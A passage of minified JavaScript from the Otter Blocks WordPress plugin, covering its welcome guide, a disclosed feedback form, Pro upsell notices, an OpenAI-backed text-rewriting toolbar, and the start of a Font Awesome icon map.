blocks.","otter-blocks")))},{image:(0,o.createElement)("img",{src:window.themeisleGutenberg.assetsPath+"/images/guide/welcome-pro.png"}),content:(0,o.createElement)(b.Fragment,null,Boolean(window.themeisleGutenberg.hasPro)?(0,o.createElement)(b.Fragment,null,(0,o.createElement)("h1",{className:"o-welcome-guide__heading"},(0,s.__)("You are all setup to use Otter Pro","otter-blocks")),(0,o.createElement)("p",{className:"o-welcome-guide__text"},(0,s.__)("With Otter PRO, you have access to our advanced features, like Dynamic Content and the Premium Blocks.","otter-blocks"),(0,o.createElement)(a.ExternalLink,{href:"https://docs.themeisle.com/article/1550-otter-pro-documentation",target:"_blank"},(0,s.__)("Learn more","otter-blocks")))):(0,o.createElement)(b.Fragment,null,(0,o.createElement)("h1",{className:"o-welcome-guide__heading"},(0,s.__)("Make Your Website Shine With Otter Pro","otter-blocks")),(0,o.createElement)("p",{className:"o-welcome-guide__text"},(0,s.__)("Upgrade to Otter PRO and get access to our advanced features, like Dynamic Content and the Premium Blocks.","otter-blocks"),(0,o.createElement)(a.ExternalLink,{href:(0,T.Wi)(window.themeisleGutenberg.upgradeLink,"welcomeguide"),target:"_blank"},(0,s.__)("Learn more","otter-blocks")))))},{image:(0,o.createElement)("img",{src:window.themeisleGutenberg.assetsPath+"/images/guide/welcome-finish.png"}),content:(0,o.createElement)(b.Fragment,null,(0,o.createElement)("h1",{className:"o-welcome-guide__heading"},(0,s.__)("Thank you for chosing Otter!","otter-blocks")),(0,o.createElement)("p",{className:"o-welcome-guide__text"},(0,s.__)("Join Otter's mailing list to get first access to product updates, tutorials and promotions.","otter-blocks")),(0,o.createElement)(a.TextControl,{"aria-label":(0,s.__)("Enter your email","otter-blocks"),type:"email",value:r,onChange:i,className:"o-welcome-guide__input"}),(0,o.createElement)(a.CheckboxControl,{label:(0,s.__)("Yes, count me in!","otter-blocks"),checked:c,onChange:()=>d(!c),className:"o-welcome-guide__input"}),"yes"!==e("otter_blocks_logger_flag")&&(0,o.createElement)(a.CheckboxControl,{label:(0,s.__)("Become a contributor by opting in to our anonymous data tracking.","otter-blocks"),checked:u,onChange:()=>m(!u),className:"o-welcome-guide__input"}))}]})};Boolean(window.themeisleGutenberg.isBlockEditor)&&(0,n.select)("core/editor")&&(0,r.registerPlugin)("otter-welcome",{render:()=>{const{isOnboardingVisible:e,isWelcomeActive:t}=(0,n.useSelect)((e=>{const{isOnboardingVisible:t}=e("themeisle-gutenberg/data"),{isFeatureActive:l}=e("core/edit-post");return{isOnboardingVisible:t(),isWelcomeActive:l("welcomeGuide")}}));return t||!e?null:(0,o.createElement)(Et,null)}});const{version:xt}=window.themeisleGutenberg?window.themeisleGutenberg:window.otterObj,St=[{name:(0,s.__)("Plugin version","otter-blocks"),value:xt},{name:(0,s.__)("Feedback","otter-blocks"),value:(0,s.__)("Text from the above text area","otter-blocks")}],Tt={error:(0,s.__)("There has been an error. Your feedback couldn't be sent."),emptyFeedback:(0,s.__)("Please provide a feedback before submitting the form.","otter-blocks")};var Bt=({source:e,status:t,setStatus:l})=>{const[n,r]=(0,b.useState)(""),[i,c]=(0,b.useState)(!1);return(0,b.useEffect)((()=>{const e=document.querySelector(".o-feedback-form .info");e&&(e.style.height=i?`${e.querySelector(".wrapper")?.clientHeight}px`:"0")}),[i]),(0,o.createElement)("form",{className:"o-feedback-form",onSubmit:t=>{t.preventDefault(),(()=>{const t=n.trim();if(5>=t.length)l("emptyFeedback");else{l("loading");try{fetch("https://api.themeisle.com/tracking/feedback",{method:"POST",headers:{"Content-Type":"application/json",Accept:"application/json, */*;q=0.1","Cache-Control":"no-cache"},body:JSON.stringify({slug:"otter-blocks",version:xt,feedback:t,data:{"feedback-area":e}})}).then((e=>{e.ok?l("submitted"):l("error")}))?.catch((e=>{console.warn(e.message),l("error")}))}catch(e){console.warn(e.message),l("error")}}})()}},(0,o.createElement)(a.TextareaControl,{className:f()({invalid:"emptyFeedback"===t,"f-error":"error"===t}),placeholder:(0,s.__)("Tell us how can we help you better with Otter Blocks","otter-blocks"),value:n,rows:7,cols:50,onChange:e=>{r(e),5<e.trim().length&&l("notSubmitted")},help:Tt[t]||!1,autoFocus:!0}),(0,o.createElement)("div",{className:"info"},(0,o.createElement)("div",{className:"wrapper"},(0,o.createElement)("p",null,(0,s.__)("We value privacy, that's why no domain name, email address or IP addresses are collected after you submit the survey. Below is a detailed view of all data that Themeisle will receive if you fill in this survey.","otter-blocks")),St.map(((e,t)=>(0,o.createElement)("div",{className:"info-row",key:t},(0,o.createElement)("p",null,(0,o.createElement)("b",null,e.name)),(0,o.createElement)("p",null,e.value)))))),(0,o.createElement)("div",{className:"buttons-wrap"},(0,o.createElement)(a.Button,{className:"toggle-info","aria-expanded":i,variant:"link",isLink:!0,onClick:()=>c(!i)},(0,s.__)("What info do we collect?","otter-blocks")),(0,o.createElement)(a.Button,{className:"f-send",variant:"primary",type:"submit",isPrimary:!0,disabled:"loading"===t},"loading"===t?(0,o.createElement)(a.Spinner,null):(0,s.__)("Send feedback","otter-blocks"))))};const{assetsPath:Mt}=window.themeisleGutenberg?window.themeisleGutenberg:window.otterObj,Pt=Mt+("/"===Mt[Mt.length-1]?"":"/")+"icons/finish-feedback.svg",zt=({source:e,status:t,setStatus:l,closeModal:n,isOpen:r})=>(0,o.createElement)(b.Fragment,null,r&&(0,o.createElement)(a.Modal,{className:f()("o-feedback-modal",{"no-header":"submitted"===t}),overlayClassName:"o-feedback-modal-overlay",title:(0,s.__)("What's the one thing you need in Otter?","otter-blocks"),onRequestClose:n,shouldCloseOnClickOutside:!1},"submitted"!==t?(0,o.createElement)(Bt,{source:e,status:t,setStatus:l}):(0,o.createElement)("div",{className:"finish-feedback"},(0,o.createElement)("img",{src:Pt}),(0,o.createElement)("p",{className:"f-title"},(0,s.__)("Thank you for your feedback","otter-blocks")),(0,o.createElement)("p",{className:"f-description"},(0,s.__)("Your feedback is highly appreciated and will help us to improve Otter Blocks.","otter-blocks")),(0,o.createElement)(a.Button,{className:"f-done",variant:"secondary",isSecondary:!0,onClick:n},(0,s.__)("Done","otter-blocks")))));(0,p.addFilter)("otter.feedback","themeisle-gutenberg/feedback-modal",((e,t,l=(0,s.__)("Help us improve","otter-blocks"),n="link")=>{const[r,i]=(0,b.useState)(!1),[c,d]=(0,b.useState)("notSubmitted");return(0,o.createElement)(b.Fragment,null,(0,o.createElement)(a.Button,{id:"o-feedback",variant:n,isLink:"link"===n,isSecondary:"secondary"===n,isPrimary:"primary"===n,onClick:()=>{window.oTrk?.add({feature:"feedback",featureComponent:"open-button"}),i(!r)}},l),(0,o.createElement)(zt,{isOpen:r,status:c,closeModal:()=>{i(!1),d("notSubmitted")},source:t,setStatus:d}))}));var Ft=l(3532);const Rt=({props:e})=>{(0,n.useSelect)((e=>{e("core/preferences")}),[]);const{enableComplementaryArea:t}=(0,n.useDispatch)("core/interface");return(0,o.createElement)(a.__experimentalToolsPanel,{label:(0,s.__)("Block Tools"),className:"o-block-tools"},(0,p.applyFilters)("otter.blockTools","",e),(0,o.createElement)(a.__experimentalToolsPanelItem,{hasValue:()=>!1,label:(0,s.__)("Manage Default Tools","otter-blocks"),onSelect:()=>t("core/edit-post","themeisle-blocks/otter-options"),isShownByDefault:!1}))},Lt=(0,Z.createHigherOrderComponent)((e=>t=>{const l=(0,Ft.R)(t.name);return(0,o.createElement)(b.Fragment,null,(0,o.createElement)(e,{...t}),t.isSelected&&(0,o.createElement)(l,null,(0,o.createElement)(Rt,{props:t})))}),"withConditions");(0,p.addFilter)("editor.BlockEdit","themeisle-gutenberg/otter-tools-inspector",Lt);const Ot=(0,Z.createHigherOrderComponent)((e=>t=>"core/search"!==t.name?(0,o.createElement)(e,{...t}):(0,o.createElement)(b.Fragment,null,(0,o.createElement)(E.InspectorControls,null,(0,o.createElement)(a.PanelBody,{className:"o-live-search",title:(0,s.__)("Live Search","otter-blocks"),initialOpen:!1},(0,o.createElement)("img",{src:window.themeisleGutenberg.assetsPath+"/images/live-search-thumbnail.png",alt:(0,s.__)("Thumbnail of live search feature","otter-blocks"),className:"otter-live-search-thumbnail-image"}),(0,o.createElement)(a.Disabled,null,(0,o.createElement)(a.ToggleControl,{label:(0,s.__)("Enable Live Search","otter-blocks"),checked:!1,onChange:()=>{},className:"o-disabled"})),(0,o.createElement)(Ae.Z,{notice:(0,o.createElement)(a.ExternalLink,{href:(0,T.Wi)(window.themeisleGutenberg.upgradeLink,"search-block")},(0,s.__)("Unlock this with Otter Pro's Agency Plan.","otter-blocks")),variant:"upsell"}),(0,o.createElement)(a.Button,{className:"o-live-search__doc",variant:"secondary",href:"https://docs.themeisle.com/article/1747-the-live-search-feature-otter-features-library",target:"_blank"},(0,s.__)("Learn more","otter-blocks")))),(0,o.createElement)(e,{...t}))),"liveSearchUpsell");Boolean(window.themeisleGutenberg.hasPro)||(0,p.addFilter)("editor.BlockEdit","themeisle-gutenberg/live-search-upsell",Ot);const It="o-popup-upsell",Ht=2592e6;(0,k.registerBlockType)("themeisle-blocks/patterns-upsell",{apiVersion:2,title:(0,s.__)("Pro Pattern Notice","otter-blocks"),description:(0,s.__)("Get more Patterns with Otter Pro.","otter-blocks"),supports:{inserter:!1},edit:e=>{const{removeBlock:t}=(0,n.useDispatch)("core/block-editor");return(0,b.useEffect)((()=>{const l=Boolean(document.querySelector(`#o-upsell-${e.clientId}`));l&&void 0===window.themeisleGutenberg.hasPatternUpsell&&(window.themeisleGutenberg.hasPatternUpsell=e.clientId),(window.themeisleGutenberg.hasPro||l&&void 0!==window.themeisleGutenberg.hasPatternUpsell&&e.clientId!==window.themeisleGutenberg.hasPatternUpsell)&&t(e.clientId);let o=window.localStorage.getItem(It);null!==o&&(o=JSON.parse(o),3<=o.count&&Ht>Date.now()-o.lastDismissal&&t(e.clientId))}),[]),(0,o.createElement)("div",{id:`o-upsell-${e.clientId}`,className:f()("o-block-patterns-upsell alignfull",{"is-neve":Boolean(window.themeisleGutenberg.hasNeve)})},(0,o.createElement)("h3",null,(0,s.__)("Get more Patterns with Otter Pro.","otter-blocks")),(0,o.createElement)("div",{className:"o-block-patterns-upsell__actions"},(0,o.createElement)("a",{href:(0,T.Wi)(window.themeisleGutenberg.patternsLink,"patterns"),target:"_blank"},(0,s.__)("Get Otter Pro","otter-blocks")),(0,o.createElement)(a.Button,{icon:"no-alt",label:(0,s.__)("Dismiss","otter-blocks"),onClick:()=>{let l=window.localStorage.getItem(It);null===l?l={count:1,lastDismissal:Date.now()}:(l=JSON.parse(l),Ht<Date.now()-l.lastDismissal?l={count:1,lastDismissal:Date.now()}:(l.count=l.count+1,l.lastDismissal=Date.now())),window.localStorage.setItem(It,JSON.stringify(l)),t(e.clientId)}})))},save:()=>null});var Nt=l(8510),At=l(2377);const Vt=e=>!!e&&["core/paragraph","core/heading"].some((t=>t===e)),Dt=e=>Array.isArray(e)?e.reduce(((e,t)=>e+Dt(t)),""):"core/paragraph"===e.name||"core/heading"===e.name?e.attributes.content:"";let Gt=null;const jt=({props:e,onClose:t})=>{const[l,r,i]=(0,W.Z)(),[c,d]=(0,b.useState)(!1),[u,m]=(0,b.useState)({}),[p,g]=(0,b.useState)(void 0),{createNotice:h}=(0,n.useDispatch)("core/notices"),{isMultipleSelection:y,selectedBlocks:f}=(0,n.useSelect)((e=>{const t=e("core/block-editor").getMultiSelectedBlocks();return{isMultipleSelection:1<t.length,selectedBlocks:t}}),[]);(0,b.useEffect)((()=>{if("loading"!==i&&"loaded"===i&&!c){const e=l(At.$);d(Boolean(e)&&0<e.length)}}),[i,l]),(0,b.useEffect)((()=>{p&&(h("error",p,{type:"snackbar",isDismissible:!0}),g(void 0))}),[p]);const v=t=>(0,o.createElement)(a.Disabled,{isDisabled:Object.values(u).some((e=>e))},(0,o.createElement)(a.MenuItem,{onClick:()=>{(async(t,l,o=(()=>{}))=>{if(!t)return void g((0,s.__)("No content detected in selected block.","otter-blocks"));if(!Gt){var a;const e=await(0,Nt.el)("textTransformation");Gt=null!==(a=e?.prompts)&&void 0!==a?a:[]}const n=Gt?.find((e=>"textTransformation"===e.otter_name));if(!n)return void g((0,s.__)("Something when wrong retrieving the prompts.","otter-blocks"));const r=n?.[l];r?c?(m((e=>({...e,[l]:!0}))),window.oTrk?.add({feature:"ai-generation",featureComponent:"ai-toolbar",featureValue:l},{consent:!0}),(0,Nt.C4)(t,(0,Nt.j1)(n,r),{otter_used_action:`textTransformation::${l}`,otter_user_content:t}).then((t=>{var a,n;if(t.error)return void g(null!==(n=t.error?.message)&&void 0!==n?n:t.error);const r=t?.choices?.[0]?.message.content;if(!r)return;const i=(0,k.rawHandler)({HTML:r}),s=(0,k.createBlock)("themeisle-blocks/content-generator",{promptID:"textTransformation",resultHistory:[{result:null!==(a=t?.choices?.[0]?.message.content)&&void 0!==a?a:"",meta:{usedToken:t?.usage.total_tokens,prompt:""}}]},i);(0,oe.insertBlockBelow)(e.clientId,s),m((e=>({...e,[l]:!1}))),o?.()})).catch((e=>{g(e.message),m((e=>({...e,[l]:!1})))}))):g((0,s.__)("No Open API key detected. Please add your key.","otter-blocks")):g((0,s.__)("The action is not longer available.","otter-blocks"))})(Dt(y?f:e),t.actionKey,(()=>t.callback?.(t.actionKey)))}},t.children,u?.[t.actionKey]&&(0,o.createElement)(a.Spinner,null)));return(0,o.createElement)(b.Fragment,null,!c&&(0,o.createElement)(a.MenuGroup,null,(0,o.createElement)("span",{className:"o-menu-item-alignment",style:{display:"block",marginBottom:"10px"}},(0,s.__)("Please add your OpenAI API key in Integrations.","otter-blocks")),(0,o.createElement)(a.ExternalLink,{className:"o-menu-item-alignment",href:window.themeisleGutenberg.optionsPath,target:"_blank",rel:"noopener noreferrer"},(0,s.__)("Go to Dashboard","otter-blocks"))),(0,o.createElement)(a.MenuGroup,null,(0,o.createElement)("span",{className:"o-menu-item-header o-menu-item-alignment"},(0,s.__)("Writing","otter-blocks")),(0,o.createElement)(v,{actionKey:"otter_action_generate_title",callback:t},(0,s.__)("Generate a heading","otter-blocks")),(0,o.createElement)(v,{actionKey:"otter_action_continue_writing",callback:t},(0,s.__)("Continue writing","otter-blocks")),(0,o.createElement)(v,{actionKey:"otter_action_summarize",callback:t},(0,s.__)("Summarize it","otter-blocks")),(0,o.createElement)(v,{actionKey:"otter_action_make_shorter",callback:t},(0,s.__)("Make it shorter","otter-blocks")),(0,o.createElement)(v,{actionKey:"otter_action_make_longer",callback:t},(0,s.__)("Make it longer","otter-blocks")),(0,o.createElement)(v,{actionKey:"otter_action_make_descriptive",callback:t},(0,s.__)("Make it more descriptive","otter-blocks"))),(0,o.createElement)(a.MenuGroup,null,(0,o.createElement)("span",{className:"o-menu-item-header o-menu-item-alignment"},(0,s.__)("Tone","otter-blocks")),(0,o.createElement)(v,{actionKey:"otter_action_tone_professional",callback:t},(0,s.__)("Professional","otter-blocks")),(0,o.createElement)(v,{actionKey:"otter_action_tone_friendly",callback:t},(0,s.__)("Friendly","otter-blocks")),(0,o.createElement)(v,{actionKey:"otter_action_tone_humorous",callback:t},(0,s.__)("Humorous","otter-blocks")),(0,o.createElement)(v,{actionKey:"otter_action_tone_confident",callback:t},(0,s.__)("Confident","otter-blocks")),(0,o.createElement)(v,{actionKey:"otter_action_tone_persuasive",callback:t},(0,s.__)("Persuasive","otter-blocks")),(0,o.createElement)(v,{actionKey:"otter_action_tone_casual",callback:t},(0,s.__)("Casual","otter-blocks"))),(0,o.createElement)(a.MenuGroup,null,(0,o.createElement)(v,{actionKey:"otter_action_prompt",callback:t},(0,s.__)("Use as prompt","otter-blocks"))),(0,o.createElement)(a.MenuGroup,null,(0,o.createElement)(a.ExternalLink,{className:"o-menu-item-alignment",href:"https://docs.themeisle.com/collection/1563-otter---page-builder-blocks-extensions",target:"_blank",rel:"noopener noreferrer"},(0,s.__)("Go to docs","otter-blocks"))))},Wt=(0,Z.createHigherOrderComponent)((e=>t=>{const{isMultipleSelection:l,areValidBlocks:r,isHidden:c}=(0,n.useSelect)((e=>{var t;const l=e("core/block-editor").getMultiSelectedBlocks(),o=e("core/preferences")?.get("core/edit-post","hiddenBlockTypes")||[];return{isMultipleSelection:1<l.length,areValidBlocks:l.every((e=>Vt(e.name))),isHidden:null!==(t=o.find((e=>"themeisle-blocks/content-generator"===e)))&&void 0!==t&&t}}),[]);return(0,o.createElement)(b.Fragment,null,(0,o.createElement)(e,{...t}),!c&&(Vt(t.name)&&t.isSelected||r&&l)&&(0,o.createElement)(E.BlockControls,null,(0,o.createElement)(a.Toolbar,null,(0,o.createElement)(a.DropdownMenu,{icon:i.aiGeneration,label:(0,s.__)("Otter AI Content")},(({onClose:e})=>(0,o.createElement)(jt,{props:t,onClose:e}))))))}),"withConditions");(0,p.addFilter)("editor.BlockEdit","themeisle-gutenberg/otter-ai-content-toolbar",Wt);const $t=(0,o.createElement)(a.Icon,{icon:i.otterIcon});Boolean(window.themeisleGutenberg?.isBlockEditor)&&(0,n.select)("core/editor")&&(0,r.registerPlugin)("themeisle-blocks",{icon:$t,render:()=>{(0,b.useEffect)((()=>{let e=!0;return(async()=>{(await u()({path:"wp/v2/users/me?context=edit"})).capabilities.manage_options&&e?t(!0):(t(!1),setAPILoaded(!0))})(),()=>{e=!1}}),[]);const[e,t]=(0,b.useState)(!1);return(0,o.createElement)(b.Fragment,null,e&&(0,o.createElement)(m.PluginSidebarMoreMenuItem,{target:"otter-options"},(0,s.__)("Otter Options","otter-blocks")),(0,o.createElement)(m.PluginSidebar,{title:(0,s.__)("Otter Options","otter-blocks"),name:"otter-options"},(0,o.createElement)(U,null)))}})},9196:function(e){e.exports=window.React},1850:function(e){e.exports=window.ReactDOM},2819:function(e){e.exports=window.lodash},6292:function(e){e.exports=window.moment},8101:function(e){e.exports=window.wp.api},6989:function(e){e.exports=window.wp.apiFetch},2175:function(e){e.exports=window.wp.blockEditor},4981:function(e){e.exports=window.wp.blocks},5609:function(e){e.exports=window.wp.components},4333:function(e){e.exports=window.wp.compose},9818:function(e){e.exports=window.wp.data},9771:function(e){e.exports=window.wp.date},7701:function(e){e.exports=window.wp.domReady},9307:function(e){e.exports=window.wp.element},2694:function(e){e.exports=window.wp.hooks},5736:function(e){e.exports=window.wp.i18n},9630:function(e){e.exports=window.wp.keycodes},444:function(e){e.exports=window.wp.primitives},2629:function(e){e.exports=window.wp.richText},4824:function(e){e.exports=JSON.parse('{"500px":{"styles":["brands"],"unicode":"f26e","label":"500px"},"accessible-icon":{"styles":["brands"],"unicode":"f368","label":"Accessible Icon"},"accusoft":{"styles":["brands"],"unicode":"f369","label":"Accusoft"},"acquisitions-incorporated":{"styles":["brands"],"unicode":"f6af","label":"Acquisitions Incorporated"},"ad":{"styles":["solid"],"unicode":"f641","label":"Ad"},"address-book":{"styles":["solid","regular"],"unicode":"f2b9","label":"Address Book"},"address-card":{"styles":["solid","regular"],"unicode":"f2bb","label":"Address Card"},"adjust":{"styles":["solid"],"unicode":"f042","label":"adjust"},"adn":{"styles":["brands"],"unicode":"f170","label":"App.net"},"adversal":{"styles":["brands"],"unicode":"f36a","label":"Adversal"},"affiliatetheme":{"styles":["brands"],"unicode":"f36b","label":"affiliatetheme"},"air-freshener":{"styles":["solid"],"unicode":"f5d0","label":"Air Freshener"},"airbnb":{"styles":["brands"],"unicode":"f834","label":"Airbnb"},"algolia":{"styles":["brands"],"unicode":"f36c","label":"Algolia"},"align-center":{"styles":["solid"],"unicode":"f037","label":"align-center"},"align-justify":{"styles":["solid"],"unicode":"f039","label":"align-justify"},"align-left":{"styles":["solid"],"unicode":"f036","label":"align-left"},"align-right":{"styles":["solid"],"unicode":"f038","label":"align-right"},"alipay":{"styles":["brands"],"unicode":"f642","label":"Alipay"},"allergies":{"styles":["solid"],"unicode":"f461","label":"Allergies"},"amazon":{"styles":["brands"],"unicode":"f270","label":"Amazon"},"amazon-pay":{"styles":["brands"],"unicode":"f42c","label":"Amazon Pay"},"ambulance":{"styles":["solid"],"unicode":"f0f9","label":"ambulance"},"american-sign-language-interpreting":{"styles":["solid"],"unicode":"f2a3","label":"American Sign Language Interpreting"},"amilia":{"styles":["brands"],"unicode":"f36d","label":"Amilia"},"anchor":{"styles":["solid"],"unicode":"f13d","label":"Anchor"},"android":{"styles":["brands"],"unicode":"f17b","label":"Android"},"angellist":{"styles":["brands"],"unicode":"f209","label":"AngelList"},"angle-double-down":{"styles":["solid"],"unicode":"f103","label":"Angle Double Down"},"angle-double-left":{"styles":["solid"],"unicode":"f100","label":"Angle Double Left"},"angle-double-right":{"styles":["solid"],"unicode":"f101","label":"Angle Double Right"},"angle-double-up":{"styles":["solid"],"unicode":"f102","label":"Angle Double Up"},"angle-down":{"styles":["solid"],"unicode":"f107","label":"angle-down"},"angle-left":{"styles":["solid"],"unicode":"f104","label":"angle-left"},"angle-right":{"styles":["solid"],"unicode":"f105","label":"angle-right"},"angle-up":{"styles":["solid"],"unicode":"f106","label":"angle-up"},"angry":{"styles":["solid","regular"],"unicode":"f556","label":"Angry Face"},"angrycreative":{"styles":["brands"],"unicode":"f36e","label":"Angry Creative"},"angular":{"styles":["brands"],"unicode":"f420","label":"Angular"},"ankh":{"styles":["solid"],"unicode":"f644","label":"Ankh"},"app-store":{"styles":["brands"],"unicode":"f36f","label":"App Store"},"app-store-ios":{"styles":["brands"],"unicode":"f370","label":"iOS App Store"},"apper":{"styles":["brands"],"unicode":"f371","label":"Apper Systems AB"},"apple":{"styles":["brands"],"unicode":"f179","label":"Apple"},"apple-alt":{"styles":["solid"],"unicode":"f5d1","label":"Fruit Apple"},"apple-pay":{"styles":["brands"],"unicode":"f415","label":"Apple Pay"},"archive":{"styles":["solid"],"unicode":"f187","label":"Archive"},"archway":{"styles":["solid"],"unicode":"f557","label":"Archway"},"arrow-alt-circle-down":{"styles":["solid","regular"],"unicode":"f358","label":"Alternate Arrow Circle Down"},"arrow-alt-circle-left":{"styles":["solid","regular"],"unicode":"f359","label":"Alternate Arrow Circle Left"},"arrow-alt-circle-right":{"styles":["solid","regular"],"unicode":"f35a","label":"Alternate Arrow Circle Right"},"arrow-alt-circle-up":{"styles":["solid","regular"],"unicode":"f35b","label":"Alternate Arrow Circle Up"},"arrow-circle-down":{"styles":["solid"],"unicode":"f0ab","label":"Arrow Circle Down"},"arrow-circle-left":{"styles":["solid"],"unicode":"f0a8","label":"Arrow Circle Left"},"arrow-circle-right":{"styles":["solid"],"unicode":"f0a9","label":"Arrow Circle Right"},"arrow-circle-up":{"styles":["solid"],"unicode":"f0aa","label":"Arrow Circle Up"},"arrow-down":{"styles":["solid"],"unicode":"f063","label":"arrow-down"},"arrow-left":{"styles":["solid"],"unicode":"f060","label":"arrow-left"},"arrow-right":{"styles":["solid"],"unicode":"f061","label":"arrow-right"},"arrow-up":{"styles":["solid"],"unicode":"f062","label":"arrow-up"},"arrows-alt":{"styles":["solid"],"unicode":"f0b2","label":"Alternate Arrows"},"arrows-alt-h":{"styles":["solid"],"unicode":"f337","label":"Alternate Arrows Horizontal"},"arrows-alt-v":{"styles":["solid"],"unicode":"f338","label":"Alternate Arrows Vertical"},"artstation":{"styles":["brands"],"unicode":"f77a","label":"Artstation"},"assistive-listening-systems":{"styles":["solid"],"unicode":"f2a2","label":"Assistive Listening Systems"},"asterisk":{"styles":["solid"],"unicode":"f069","label":"asterisk"},"asymmetrik":{"styles":["brands"],"unicode":"f372","label":"Asymmetrik, Ltd."},"at":{"styles":["solid"],"unicode":"f1fa","label":"At"},"atlas":{"styles":["solid"],"unicode":"f558","label":"Atlas"},"atlassian":{"styles":["brands"],"unicode":"f77b","label":"Atlassian"},"atom":{"styles":["solid"],"unicode":"f5d2","label":"Atom"},"audible":{"styles":["brands"],"unicode":"f373","label":"Audible"},"audio-description":{"styles":["solid"],"unicode":"f29e","label":"Audio Description"},"autoprefixer":{"styles":["brands"],"unicode":"f41c","label":"Autoprefixer"},"avianex":{"styles":["brands"],"unicode":"f374","label":"avianex"},"aviato":{"styles":["brands"],"unicode":"f421","label":"Aviato"},"award":{"styles":["solid"],"unicode":"f559","label":"Award"},"aws":{"styles":["brands"],"unicode":"f375","label":"Amazon Web Services (AWS)"},"baby":{"styles":["solid"],"unicode":"f77c","label":"Baby"},"baby-carriage":{"styles":["solid"],"unicode":"f77d","label":"Baby Carriage"},"backspace":{"styles":["solid"],"unicode":"f55a","label":"Backspace"},"backward":{"styles":["solid"],"unicode":"f04a","label":"backward"},"bacon":{"styles":["solid"],"unicode":"f7e5","label":"Bacon"},"bacteria":{"styles":["solid"],"unicode":"e059","label":"Bacteria"},"bacterium":{"styles":["solid"],"unicode":"e05a","label":"Bacterium"},"bahai":{"styles":["solid"],"unicode":"f666","label":"Bahá\'í"},"balance-scale":{"styles":["solid"],"unicode":"f24e","label":"Balance Scale"},"balance-scale-left":{"styles":["solid"],"unicode":"f515","label":"Balance Scale (Left-Weighted)"},"balance-scale-right":{"styles":["solid"],"unicode":"f516","label":"Balance Scale (Right-Weighted)"},"ban":{"styles":["solid"],"unicode":"f05e","label":"ban"},"band-aid":{"styles":["solid"],"unicode":"f462","label":"Band-Aid"},"bandcamp":{"styles":["brands"],"unicode":"f2d5","label":"Bandcamp"},"barcode":{"styles":["solid"],"unicode":"f02a","label":"barcode"},"bars":{"styles":["solid"],"unicode":"f0c9","label":"Bars"},"baseball-ball":{"styles":["solid"],"unicode":"f433","label":"Baseball Ball"},"basketball-ball":{"styles":["solid"],"unicode":"f434","label":"Basketball Ball"},"bath":{"styles":["solid"],"unicode":"f2cd","label":"Bath"},"battery-empty":{"styles":["solid"],"unicode":"f244","label":"Battery Empty"},"battery-full":{"styles":["solid"],"unicode":"f240","label":"Battery Full"},"battery-half":{"styles":["solid"],"unicode":"f242","label":"Battery 1/2 Full"},"battery-quarter":{"styles":["solid"],"unicode":"f243","label":"Battery 1/4 Full"},"battery-three-quarters":{"styles":["solid"],"unicode":"f241","label":"Battery 3/4 Full"},"battle-net":{"styles":["brands"],"unicode":"f835","label":"Battle.net"},"bed":{"styles":["solid"],"unicode":"f236","label":"Bed"},"beer":{"styles":["solid"],"unicode":"f0fc","label":"beer"},"behance":{"styles":["brands"],"unicode":"f1b4","label":"Behance"},"behance-square":{"styles":["brands"],"unicode":"f1b5","label":"Behance Square"},"bell":{"styles":["solid","regular"],"unicode":"f0f3","label":"bell"},"bell-slash":{"styles":["solid","regular"],"unicode":"f1f6","label":"Bell Slash"},"bezier-curve":{"styles":["solid"],"unicode":"f55b","label":"Bezier Curve"},"bible":{"styles":["solid"],"unicode":"f647","label":"Bible"},"bicycle":{"styles":["solid"],"unicode":"f206","label":"Bicycle"},"biking":{"styles":["solid"],"unicode":"f84a","label":"Biking"},"bimobject":{"styles":["brands"],"unicode":"f378","label":"BIMobject"},"binoculars":{"styles":["solid"],"unicode":"f1e5","label":"Binoculars"},"biohazard":{"styles":["solid"],"unicode":"f780","label":"Biohazard"},"birthday-cake":{"styles":["solid"],"unicode":"f1fd","label":"Birthday Cake"},"bitbucket":{"styles":["brands"],"unicode":"f171","label":"Bitbucket"},"bitcoin":{"styles":["brands"],"unicode":"f379","label":"Bitcoin"},"bity":{"styles":["brands"],"unicode":"f37a","label":"Bity"},"black-tie":{"styles":["brands"],"unicode":"f27e","label":"Font Awesome Black Tie"},"blackberry":{"styles":["brands"],"unicode":"f37b","label":"BlackBerry"},"blender":{"styles":["solid"],"unicode":"f517","label":"Blender"},"blender-phone":{"styles":["solid"],"unicode":"f6b6","label":"Blender Phone"},"blind":{"styles":["solid"],"unicode":"f29d","label":"Blind"},"blog":{"styles":["solid"],"unicode":"f781","label":"Blog"},"blogger":{"styles":["brands"],"unicode":"f37c","label":"Blogger"},"blogger-b":{"styles":["brands"],"unicode":"f37d","label":"Blogger B"},"bluetooth":{"styles":["brands"],"unicode":"f293","label":"Bluetooth"},"bluetooth-b":{"styles":["brands"],"unicode":"f294","label":"Bluetooth"},"bold":{"styles":["solid"],"unicode":"f032","label":"bold"},"bolt":{"styles":["solid"],"unicode":"f0e7","label":"Lightning Bolt"},"bomb":{"styles":["solid"],"unicode":"f1e2","label":"Bomb"},"bone":{"styles":["solid"],"unicode":"f5d7","label":"Bone"},"bong":{"styles":["solid"],"unicode":"f55c","label":"Bong"},"book":{"styles":["solid"],"unicode":"f02d","label":"book"},"book-dead":{"styles":["solid"],"unicode":"f6b7","label":"Book of the Dead"},"book-medical":{"styles":["solid"],"unicode":"f7e6","label":"Medical Book"},"book-open":{"styles":["solid"],"unicode":"f518","label":"Book Open"},"book-reader":{"styles":["solid"],"unicode":"f5da","label":"Book Reader"},"bookmark":{"styles":["solid","regular"],"unicode":"f02e","label":"bookmark"},"bootstrap":{"styles":["brands"],"unicode":"f836","label":"Bootstrap"},"border-all":{"styles":["solid"],"unicode":"f84c","label":"Border All"},"border-none":{"styles":["solid"],"unicode":"f850","label":"Border None"},"border-style":{"styles":["solid"],"unicode":"f853","label":"Border Style"},"bowling-ball":{"styles":["solid"],"unicode":"f436","label":"Bowling Ball"},"box":{"styles":["solid"],"unicode":"f466","label":"Box"},"box-open":{"styles":["solid"],"unicode":"f49e","label":"Box Open"},"box-tissue":{"styles":["solid"],"unicode":"e05b","label":"Tissue Box"},"boxes":{"styles":["solid"],"unicode":"f468","label":"Boxes"},"braille":{"styles":["solid"],"unicode":"f2a1","label":"Braille"},"brain":{"styles":["solid"],"unicode":"f5dc","label":"Brain"},"bread-slice":{"styles":["solid"],"unicode":"f7ec","label":"Bread Slice"},"briefcase":{"styles":["solid"],"unicode":"f0b1","label":"Briefcase"},"briefcase-medical":{"styles":["solid"],"unicode":"f469","label":"Medical Briefcase"},"broadcast-tower":{"styles":["solid"],"unicode":"f519","label":"Broadcast 